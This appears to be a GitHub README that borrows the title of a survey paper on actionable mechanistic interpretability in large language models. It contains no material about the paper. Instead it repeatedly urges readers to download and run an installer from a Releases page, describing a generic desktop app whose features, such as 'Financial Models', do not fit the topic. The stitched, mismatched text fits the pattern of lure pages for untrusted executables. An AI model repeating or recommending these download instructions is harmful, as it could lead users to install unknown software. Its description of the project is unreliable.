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πŸ” Explore and improve mechanistic interpretability in large language models with this practical survey of actionable insights and strategies.

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πŸŽ‰ Awesome-Actionable-MI-Survey - Simplifying Mechanistic Interpretability

πŸš€ Getting Started

Welcome to the Awesome-Actionable-MI-Survey repository. This is your guide to understanding the principles behind our survey paper: "Locate, Steer, and Improve: A Practical Survey of Actionable Mechanistic Interpretability in Large Language Models." This repository helps you explore the ideas presented in our work and puts them into practice.

πŸ“₯ Download the Application

To get started, you need to download the application. You can find the latest version of the software on our Releases page.

Download Now!

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πŸ“‹ What You Will Need

Before you download the application, ensure that your system meets these requirements:

  • Operating System: Windows 10 or later, macOS 11 or later, or any Linux distribution.
  • Memory: 4GB RAM minimum.
  • Storage: At least 100MB of free space.
  • Internet Connection: Required for downloading the application and accessing resources.

πŸ“₯ Download & Install

  1. Visit the Releases page: Download Here.
  2. On the Releases page, look for the latest version. You will see a list of files tied to that version.
  3. Click on the appropriate file for your operating system to begin downloading.
  4. Once downloaded, locate the file in your downloads folder and double-click it to run the installer.
  5. Follow the prompts in the installer to complete the installation process.

πŸ› οΈ Features

Our application provides several key features to make understanding mechanistic interpretability easier:

  • User-Friendly Interface: Navigate the application without prior programming knowledge.
  • Interactive Visualization: Explore data with interactive charts and graphs that clarify complex concepts.
  • Financial Models: Carefully structured models allow you to analyze actionable insights effectively.
  • Documentation: Access a built-in user manual that explains all features and how to use them.

πŸ“– How to Use the Application

After you install the application, you can start using it to explore mechanistic interpretability. Here’s how you can get started:

  1. Open the Application: Locate the application icon on your desktop or in the Start menu (Windows) or Applications folder (macOS).
  2. Explore the Interface: Familiarize yourself with the main dashboard. You can see various sections like "Data Upload," "Analysis," and "Visualization."
  3. Upload Data: Click on the "Data Upload" section to import your datasets. Supported formats include CSV and Excel files.
  4. Perform Analysis: Move to the "Analysis" section to run various interpretability techniques on your data.
  5. View Results: Use the "Visualization" section to see dynamic charts representing your results.

🀝 Community and Support

If you need help, consider visiting our community forums linked below. You can find answers to your questions or ask for assistance from other users.

  • GitHub Issues: Report bugs or request features.
  • Community Forum: Join discussions and share insights with other users.

πŸ“… Future Improvements

We are continually working on enhancing this application based on user feedback. Future updates will focus on:

  • Additional Data Formats: Support for more file types to make data uploads easier.
  • Improved Visualizations: More ways to visualize data effectively.
  • Expanded Documentation: Step-by-step tutorials to guide users through specific tasks.

πŸ›‘οΈ Privacy and Security

Your privacy is essential to us. The application does not collect personal information without your consent. Always ensure your data is stored securely.

🌟 Feedback

Your feedback helps us improve. If you have suggestions or comments, please let us know through the GitHub Issues page.

πŸ“₯ Download Again

To download the latest version or check for updates at any point, visit: Download Here.

Thank you for using the Awesome-Actionable-MI-Survey application. We hope it helps you better understand mechanistic interpretability in large language models.

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